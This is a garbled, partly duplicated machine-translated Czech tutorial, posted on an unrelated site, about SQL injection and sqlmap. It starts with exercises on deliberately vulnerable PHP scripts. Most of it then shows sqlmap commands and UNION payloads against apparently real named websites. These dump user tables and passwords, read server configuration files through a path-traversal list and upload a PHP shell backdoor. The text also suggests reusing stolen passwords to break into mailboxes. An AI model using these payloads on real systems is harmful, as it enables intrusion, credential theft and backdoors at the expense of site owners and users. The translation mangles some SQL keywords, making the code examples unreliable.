Vyplnění shellu pomocí SQLmap. Nahrání shellu s SQLmap Získání informací z databází

Vyplnění shellu pomocí SQLmap. Nahrání shellu s SQLmap Získání informací z databází

28.07.2023

Zdravím vás, čtenáři. V poslední době se věnuji zabezpečení webu a do jisté míry s tím souvisí i práce. Protože Stále častěji jsem si začal všímat témat na různých fórech, s prosbou ukázat, jak to celé funguje, jsem se rozhodl napsat článek. Článek bude určen pro ty, kteří se s tím nesetkali, ale rádi by se poučili. Článků na toto téma je na webu relativně hodně, ale pro začátečníky jsou trochu komplikované. Pokusím se vše popsat srozumitelným jazykem a podrobnými příklady.

Úvodní slovo

Abyste tomuto článku porozuměli, nepotřebujete ve skutečnosti znalost jazyka SQL, ale alespoň přítomnost dobré trpělivosti a trochu mozku - pro zapamatování.

Věřím, že jedno přečtení článku stačit nebude, protože. potřebujeme živé příklady - jak víte, praxe v procesu zapamatování není zbytečná. Proto budeme psát zranitelné skripty a trénovat na nich.

Co je SQL injection?
Zjednodušeně řečeno se jedná o útok na databázi, který vám umožní provést nějakou akci, kterou tvůrce skriptu neplánoval. Příklad ze skutečného života:

Otec napsal matce do poznámky, že dala Vasyovi 100 rublů a položila to na stůl. Když to přepracujeme na vtipný jazyk SQL, dostaneme:
ZÍSKEJTE 100 RUBLŮ Z PENĚŽENKY A DEJTE JE Vasyovi

Protože otec napsal dopis špatně (nemotorný rukopis) a nechal ho na stole, viděl ji Vasyin bratr Petya. Petya jako hacker tam přidal „NEBO Petya“ a dostal následující požadavek:
ZÍSKEJTE 100 RUBLŮ Z PENĚŽENKY A DEJTE JI Vasyovi NEBO Péťovi

Máma se po přečtení poznámky rozhodla, že včera dala peníze Vasyovi a dala 100 rublů Petyi. Zde je jednoduchý příklad SQL injection z reálného života :) Bez filtrování dat (máma sotva rozeznala rukopis) Péťa vydělal.

Příprava
Pro procvičení budete potřebovat archiv se zdrojovými skripty k tomuto článku. Stáhněte si jej a rozbalte jej na serveru. Také importujte databázi a nastavte data v souboru cfg.php

SQL injection vyhledávání

Jak jste již pochopili, injekce pochází z příchozích dat, která nejsou filtrována. Nejčastější chybou je nefiltrování předávaného ID. No, zhruba řečeno, náhradní uvozovky ve všech oblastech. Ať už je to požadavek GET/POST nebo dokonce cookie!

Numerický vstupní parametr
Pro praxi potřebujeme scénář index1.php. Jak jsem řekl výše, v ID zpráv nahrazujeme uvozovky.

Protože náš požadavek nemá žádné filtrování:

$id = $_GET["id"]; $query = "VYBRAT * Z novinek WHERE id=$id";

Skript to pochopí jako

SELECT * FROM news WHERE id=1"

A vypíše nám to chybu:
Upozornění: mysql_fetch_array() očekává, že parametr 1 bude zdrojem, booleovský zadaný v C:\WebServ\domains\sqlinj\index1.php na řádku 16

Pokud není vyvolána žádná chyba, mohou to být následující důvody:

1.SQL injection zde není - Citáty jsou filtrovány, nebo jen konverze do (int)
2. Deaktivovaný chybový výstup.

Pokud přesto došlo k chybě - Hurá! Našli jsme první druh SQL injection - Numerický vstupní parametr.

Vstupní parametr řetězce

Žádosti budou zaslány na index2.php. V tomto souboru žádost vypadá takto:
$user = $_GET["uživatel"]; $query = "VYBRAT * Z novinek WHERE user="$user"";

Zde provádíme výběr novinek podle uživatelského jména a opět – nefiltrovat.
Opět zasíláme poptávku s cenovou nabídkou:

Vypsalo to chybu. OK! Existuje tedy zranitelnost. To nám pro začátek stačí – pustíme se do praxe.

Pojďme jednat

Trochu teorie

Asi se nemůžete dočkat, až z toho něco vydolujete, kromě chyb. Nejprve si uvědomte, že znak " -- " je považován za komentář v jazyce SQL.

POZORNOST! Před a za ním musí být mezery. V URL jsou předány jako %20

Cokoli po komentáři bude zahozeno. Tedy požadavek:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Provést úspěšně. Můžete to zkusit na skriptu index2.php odesláním požadavku takto:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučte se parametr SVAZ. V SQL klíčové slovo SVAZ slouží ke spojení výsledků dvou SQL dotazů do jediné tabulky. To znamená, abychom z jiného stolu vytáhli něco, co potřebujeme.

Využíváme toho

Pokud je parametr "Číselný", pak v poptávce nemusíme posílat cenovou nabídku a samozřejmě na konec uvedeme komentář. Zpět ke scénáři index1.php.

Vraťme se ke skriptu sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vypadá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, protože. pro práci s agregací dotazů potřebujeme stejný počet polí.

Protože Protože v prvním dotazu nemůžeme jejich počet ovlivnit, musíme jejich počet vybrat ve druhém tak, aby se rovnal prvnímu.

Vybereme počet polí

Výběr polí je velmi jednoduchý, stačí zaslat následující požadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opět chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Není tam žádná chyba! Počet sloupců je tedy 5.

SKUPINA VYTVOŘENÁ
Často se stává, že polí může být 20 nebo 40 nebo dokonce 60. Abychom je nemuseli pokaždé procházet, používáme SKUPINA VYTVOŘENÁ

Pokud žádost
sqlinj/index1.php?id=1 GROUP BY 2
neposkytlo žádné chyby, takže počet polí je větší než 2. Zkoušíme:

sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, takže počet polí je menší než 8.

Pokud u GROUP BY 4 není žádná chyba, ale u GROUP BY 6 je chyba, pak je počet polí 5

Definování sloupců zobrazení
Aby se z prvního požadavku nezobrazovalo nic, stačí nahradit neexistující ID, například:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Touto akcí jsme určili, které sloupce se na stránce zobrazují. nyní, abyste tato čísla nahradili požadovanými informacemi, musíte pokračovat v dotazu.

Výstup dat

Řekněme, že víme, že tabulka stále existuje uživatelů ve kterých jsou pole id, název A složit.
Potřebujeme získat informace o uživateli s ID=1

Vytvořme tedy dotaz takto:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript také pokračuje ve výstupu

Za tímto účelem nahradíme místo čísel 1 a 3 názvy polí

sqlinj/index1.php?id=-1 název UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali jsme, co jsme potřebovali!

Pro "vstupní parametr řetězce" jako ve skriptu index2.php musíte přidat uvozovky na začátek a znak komentáře na konec. Příklad:
sqlinj/index2.php?user=-1" UNION SELECT název,2,pass,4,5 FROM users WHERE id=1 --%20

Čtení/zápis souborů

Pro čtení a zápis souborů musí mít uživatel databáze oprávnění FILE_PRIV.
Psaní souborů
Ve skutečnosti je vše velmi jednoduché. K zápisu souboru použijeme funkci OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Skvělé, máme soubor. Můžeme tedy nahrát mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čtení souborů
Čtení souborů je ještě jednodušší než jejich psaní. Funkci stačí pouze použít LOAD_FILE, pro místo pole, které zvolíme:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Přečetli jsme tedy předchozí zapsaný soubor.

Metody ochrany

Chránit se je ještě jednodušší než zneužít zranitelnost. Stačí data filtrovat. Pokud předáváte čísla, použijte
$id = (int) $_GET["id"];
Jak navrhl uživatel malroc. Bránit pomocí CHOP nebo připravených výpisů.

Místo dokončení

Na tomto chci dokončit svou první část o „vstřikování SQL pro začátečníky“. Ve druhé se podíváme na obtížnější příklady injekcí. Pokuste se psát zranitelné skripty a provádět dotazy sami.
A nezapomeňte, že nedůvěřujte žádnému uživateli vašeho webu.

Rušič vztlaku: .DZEN

Máme SQL Injection na webu, který vypadá takto,

Nejprve je žádoucí, abychom zkontrolovali, zda máme oprávnění zapisovat soubory na napadený zdroj, za tímto účelem načteme terminál a zadáme následující příkaz:

http://www.sacoor.com/site_terms.php?lang=cs --banner --current-db --current-user --is-dba

Stiskneme Enter a začne analýza naší SQL Injection, sestava vypadá takto:

Jak vidíte, report obsahuje verzi Apache, verzi MySQL a verzi OS nainstalovaného na serveru, to vše se nám bude hodit do budoucna, ale hlavně vidíte, že máme oprávnění k zápisu souborů, toto se zobrazuje v řádku Aktuální uživatel je DBA: True

Dalším krokem pro nás je získat cesty k napsání našeho shellu. Cestu k našemu webu na serveru můžeme získat stažením souboru httpd.conf. Informace o umístění souboru httpd.conf získáváme pomocí Google, vyhledávat můžete podle verze instalovaného OS nebo podle seznamu nejpravděpodobnějších cest. Obecně se nebudu ponořit do surfování na vyhledávačích, jen když jsme zjistili nejpravděpodobnější umístění cesty k souboru, je čas stáhnout si tento soubor na náš disk, zadáme následující příkaz a požádáme aby byl soubor přečten na serveru:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --file-read=/etc/httpd/conf/httpd.conf

Okamžitě poznamenáváme, že tento konfigurační soubor není vždy možné najít napoprvé, takže můžete použít nejpravděpodobnější cesty, kde může být tento soubor umístěn:

SEZNAM PRAVDĚPODOBNÝCH CEST K KONFIGURAČNÍMU SOUBORU:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Obdržíme zprávu od sqlmap v následující podobě:

Jak můžete vidět, sqlmap nám řekl, že soubor má stejnou velikost jako soubor na serveru, takže máme právo tento soubor číst. Pokud by nebyla dostatečná práva ke čtení tohoto souboru, pak by se objevila chyba, že soubor uložený na našem počítači má jinou velikost než soubor na serveru nebo na serveru není žádný soubor v cestě, kterou jsme zadali a nikdy byl. Sqlmap uložil náš soubor do souborů sestav a pro jeho čtení je třeba spustit správce oken. Pro spuštění správce oken otevřeme další okno terminálu a zadáme příkaz:

Dále ve správci, který se otevře, sledujeme cestu, kam sqlmap přidal soubor, tj.:
/root/.sqlmap/output/sacoor.com
Poté najeďte myší na soubor, stiskněte tlačítko F3 na klávesnici a přečtěte si konfigurační soubor Apache:

Z našeho konfiguračního souboru vidíme, že náš web je umístěn na serveru na následující cestě:
/home/sbshop/site/

Nyní, když máme nějaké informace, můžeme zkusit nahrát shell, k tomu zadáme následující příkaz:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --os-cmd –v l

Po zadání příkazu se sqlmap zeptá, jaký typ výplně chceme použít, protože v našem případě je stránka v PHP, poté nahrajeme PHP-loader, vybereme položku 4 a stiskneme Enter. Dále vás sqlmap požádá, abyste vybrali, kam nahrajeme náš loader a od. již známe cestu k našemu webu na serveru, poté vyberte položku 2, stiskněte Enter a zadejte cestu k webu:
/home/sbshop/site/

A poté stiskněte Enter a podívejte se na následující přehled:

V tomto případě nám sqlmap říká, že nemáme oprávnění k zápisu do této složky. Nebojte se, tento problém lze snadno vyřešit. Dáme příkaz ke spuštění uniscan a zkontrolujeme soubory a složky na možnost zápisu, zde je příkaz.

Co je sqlmap, k čemu slouží

Program vám umožňuje kontrolovat stránky na zranitelnost SQL injection, XSS zranitelnost a také využívat SQL injection. Podporovány jsou různé typy injekcí SQL a různé databáze.

Co lze udělat s sqlmap

Pomocí sqlmap můžete:

  • zkontrolovat, zda webové stránky nemají zranitelnosti

Pokud je web zranitelný vůči SQL injection, pak je možné:

  • získat informace z databáze, včetně výpisu z (celé) databáze
  • upravovat a mazat informace z databáze
  • nahrajte shell (backdoor) na webový server

Jeden ze scénářů pro použití sqlmap:

  • Získání uživatelského jména a hesla z databáze
  • Vyhledat panely pro správu webu (panel správce)
  • Přihlaste se do administračního panelu pomocí přijatého uživatelského jména a hesla

V případě zranitelnosti se útok může vyvinout různými směry:

  • Úprava dat
  • nalévání zadních vrátek
  • Vložení kódu JavaScript pro získání uživatelských dat
  • Implementace kódu pro hákování na BeEF

Jak vidíme, SQL injection je velmi nebezpečná zranitelnost, která dává útočníkovi velké příležitosti.

Kontrola webových stránek pomocí sqlmap

Pokud web přijímá data od uživatele pomocí metody GET (když je v adresním řádku prohlížeče vidět název proměnné i přenášená data), musíte vybrat adresu stránky, na které se tato proměnná nachází. Přichází po otazníku ? ), Například:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

V první adrese je název proměnné id a předaná hodnota je 8 . Ve druhé adrese je také název proměnné id a předaná hodnota 22 . Ve třetím příkladu je název proměnné stejný, ale předaná hodnota ano p_36. Stejný název proměnné je náhodná shoda pro různé weby, může to být cokoliv, může to být jakákoli přenášená data, může existovat několik proměnných s hodnotami oddělenými symbolem & .

Pokud chceme zkontrolovat, zda je proměnná id zranitelná vůči SQL injection, pak musíme zadat celou adresu – http://www.dwib.org/faq2.php?id=8 (nikoli http://www.dwib .org /faq2.php nebo http://www.dwib.org).

Příkaz pro kontrolu proměnné předávané metodou GET je velmi jednoduchý:

Sqlmap -u site_url

Pro tyto weby budou příkazy:

sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Během procesu ověřování může sqlmap klást různé otázky a je třeba na ně odpovědět. y(tedy ano) popř n(tedy ne). Písmeno y a n může být velké nebo malé. Velké písmeno znamená výchozí volbu, pokud s ní souhlasíte, pak stačí stisknout Enter.

Příklady situací a otázek:

Heuristika zjistila, že cíl je chráněn nějakým druhem WAF/IPS/IDS chcete, aby se sqlmap pokusil detekovat backendový WAF/IPS/IDS?

Heuristika určila, že cíl je chráněn nějakým druhem WAF/IPS/IDS. Chcete, aby se sqlmap pokusil určit název WAF/IPS/IDS?

Moje oblíbená žádost:

Heuristický (základní) test ukazuje, že parametr GET "id" může být injektovatelný (možná DBMS: "MySQL"), testování pro SQL injekci na parametr GET "id" vypadá to, že back-end DBMS je "MySQL". Chcete přeskočit testovací užitečné zatížení specifické pro jiné DBMS?

Pointa je, že heuristika určila, že parametr může být zranitelný a vzdálený DBMS je již definován, jsme dotázáni, zda chceme pokračovat v kontrole. A na druhém snímku obrazovky je web také zranitelný vůči XSS.

Pokud chcete proces automatizovat tak, aby se vás sqlmap pokaždé neptal, ale použil výchozí výběr (vždy existují lepší možnosti), můžete spustit příkaz s možností --dávka:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Možné problémy při skenování sqlmap

Může se zobrazit následující chyba:

Vypršel časový limit připojení k cílové adrese URL. Pokud problém přetrvává, sqlmap zopakuje požadavek (požadavky), zkontrolujte, zda je zadaná cílová adresa URL platná. V případě, že ano, můžete zkusit znovu spustit se zapnutým přepínačem "--random-agent" a/nebo přepínači proxy ("--ignore-proxy", "--proxy",...)

Znamená to, že web nechce "mluvit" se sqlmap. Jako možnost se nám nabízí použití --náhodný-agent. Pokud můžete pozorovat web v prohlížeči a sqlmap píše o nemožnosti se připojit, pak web ignoruje požadavky a zaměřuje se na uživatelského agenta. Možnost --random-agent změní výchozí hodnotu sqlmap na náhodné:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Dalším důvodem této chyby může být blokování vaší IP webovou stránkou – pak musíte použít proxy. Pokud již používáte proxy a objeví se tato chyba, pak to může znamenat, že proxy má problémy s komunikací a stojí za to vyzkoušet bez něj.

výsledky skenování sqlmap

Nalezené SQL injekce se zobrazí následovně:

Tito. jsou zvýrazněny tučnou zelenou barvou, je napsán název zranitelného parametru, typ zranitelnosti SQL a slovo injekční.

Získání seznamu databází pomocí sqlmap

Chcete-li získat seznam databází, použijte volbu --dbs. Příklady:

sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Získávání informací z databází

Například pro web wellerpools.com byly nalezeny dvě databáze:

[*] information_schema [*] main_wellerpools

Chci znát seznam tabulek v databázi main_wellerpools. Chcete-li to provést, použijte možnost --tabulky. Kromě toho musíme po opci specifikovat tabulku, která nás zajímá -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Seznam stolů:

Z nějakého důvodu chci získat seznam sloupců z tabulky uživatelů. Chcete-li to provést, použijte možnost --sloupce. Kromě toho musíme specifikovat databázi, která nás zajímá ( -D main_wellerpools) a po klíči -T tabulka, pro kterou chceme vidět seznam sloupců:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Chcete-li zobrazit obsah, použijte volbu --skládka. Může být specifikován společně s databází a poté bude vypsána celá databáze, nebo můžete data omezit na jednu tabulku nebo dokonce jeden sloupec. Pomocí následujícího příkazu chci vidět obsah celé tabulky uživatelů:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Podívejte se na hesla - při zběžné kontrole jsem si myslel, že jsou to hashe. Admini se opravdu snažili bránit, ale nepomohlo jim to.

Mimochodem, protože parametr, který přijímá data zasílaná metodou GET, je zranitelný, je možné vytvořit požadavek přímo v řádku prohlížeče tak, že přihlašovací jméno a heslo uživatele se zobrazí přímo na samotném webu:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+od+uživatelů--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+od+uživatelů--

Tito. máme uživatelské jméno, heslo a poštu uživatelů (a pravděpodobně i administrátorů) webu. Pokud najdete administrativní panel webu, můžete získat kontrolu nad webem nebo webovým serverem. Vzhledem k lásce uživatelů ke stejným heslům a znalosti jejich poštovních schránek se můžete pokusit hacknout poštu.

Obecně je SQL injection velmi nebezpečnou zranitelností.

No a k tématu:

Spoiler: Plnění skořápky

Máme SQL Injection na webu, který vypadá takto,

Pro zobrazení odkazů musíte být přihlášeni.


Nejprve je žádoucí, abychom zkontrolovali, zda máme oprávnění zapisovat soubory na napadený zdroj, za tímto účelem načteme terminál a zadáme následující příkaz:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --banner --current-db --current-user --is-dba

Klikněte Vstupte a začne analýza našeho SQL Injection, sestava vypadá takto:

Jak vidíte, report obsahuje verzi Apache, verzi MySQL a verzi OS nainstalovaného na serveru, to vše se nám bude hodit do budoucna, ale hlavně vidíte, že máme oprávnění k zápisu souborů, toto se zobrazuje v řádku Aktuální uživatel je DBA: True

Dalším krokem pro nás je získat cesty k napsání našeho shellu. Cestu k našemu webu na serveru můžeme získat stažením souboru httpd.conf. Informace o umístění souboru httpd.conf získáváme pomocí Google, vyhledávat můžete podle verze instalovaného OS nebo podle seznamu nejpravděpodobnějších cest. Obecně se nebudu ponořit do surfování na vyhledávačích, jen když jsme zjistili nejpravděpodobnější umístění cesty k souboru, je čas stáhnout si tento soubor na náš disk, zadáme následující příkaz a požádáme aby byl soubor přečten na serveru:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --file-read=/etc/httpd/conf/httpd.conf

Okamžitě poznamenáváme, že tento konfigurační soubor není vždy možné najít napoprvé, takže můžete použít nejpravděpodobnější cesty, kde může být tento soubor umístěn:

SEZNAM PRAVDĚPODOBNÝCH CEST K KONFIGURAČNÍMU SOUBORU:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Obdržíme zprávu od sqlmap v následující podobě:


Jak můžete vidět, sqlmap nám řekl, že soubor má stejnou velikost jako soubor na serveru, takže máme právo tento soubor číst. Pokud by nebyla dostatečná práva ke čtení tohoto souboru, pak by se objevila chyba, že soubor uložený na našem počítači má jinou velikost než soubor na serveru nebo na serveru není žádný soubor v cestě, kterou jsme zadali a nikdy byl. Sqlmap uložil náš soubor do souborů sestav a pro jeho čtení je třeba spustit správce oken. Pro spuštění správce oken otevřeme další okno terminálu a zadáme příkaz:

Dále ve správci, který se otevře, sledujeme cestu, kam sqlmap přidal soubor, tj.:
/root/.sqlmap/output/sacoor.com
Poté najeďte myší na soubor a stiskněte tlačítko F3 na klávesnici a přečtěte si konfigurační soubor Apache:


Z našeho konfiguračního souboru vidíme, že náš web je umístěn na serveru na následující cestě:
/home/sbshop/site/

Nyní, když máme nějaké informace, můžeme zkusit nahrát shell, k tomu zadáme následující příkaz:

Po zadání příkazu se sqlmap zeptá, jaký typ výplně chceme použít, protože v našem případě je stránka v PHP, pak nahrajeme PHP-loader, Vybrat bod 4 a stiskněte Enter. Dále vás sqlmap požádá, abyste vybrali, kam nahrajeme náš loader a od. již známe cestu k našemu webu na serveru, pak si vyberte bod 2, lis Vstupte a zadejte cestu k webu:
/home/sbshop/site/

A poté stiskneme Vstupte a podívejte se na následující zprávu:


V tomto případě nám sqlmap říká, že nemáme oprávnění k zápisu do této složky. Nebojte se, tento problém lze snadno vyřešit. Dáváme příkaz ke spuštění uniscan a kontrole souborů a složek na schopnost zapisovat, zde je příkaz:

Uniscan -u http://www.sacoor.com/ -qwe

Nyní skener zkontroluje všechny zapisovatelné adresáře:


Skener našel tři adresáře s možností zápisu souborů, takže zkoušíme nahrát náš shell loader znovu, ale tentokrát jiným způsobem. Spusťte příkaz znovu:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --os-cmd –v l

a vybírání bod 4(vyplnění PHP skriptu), zadejte cestu:
/home/sbshop/site/admin

Vidíme následující.



© 2023 globusks.ru - Opravy a údržba automobilů pro začátečníky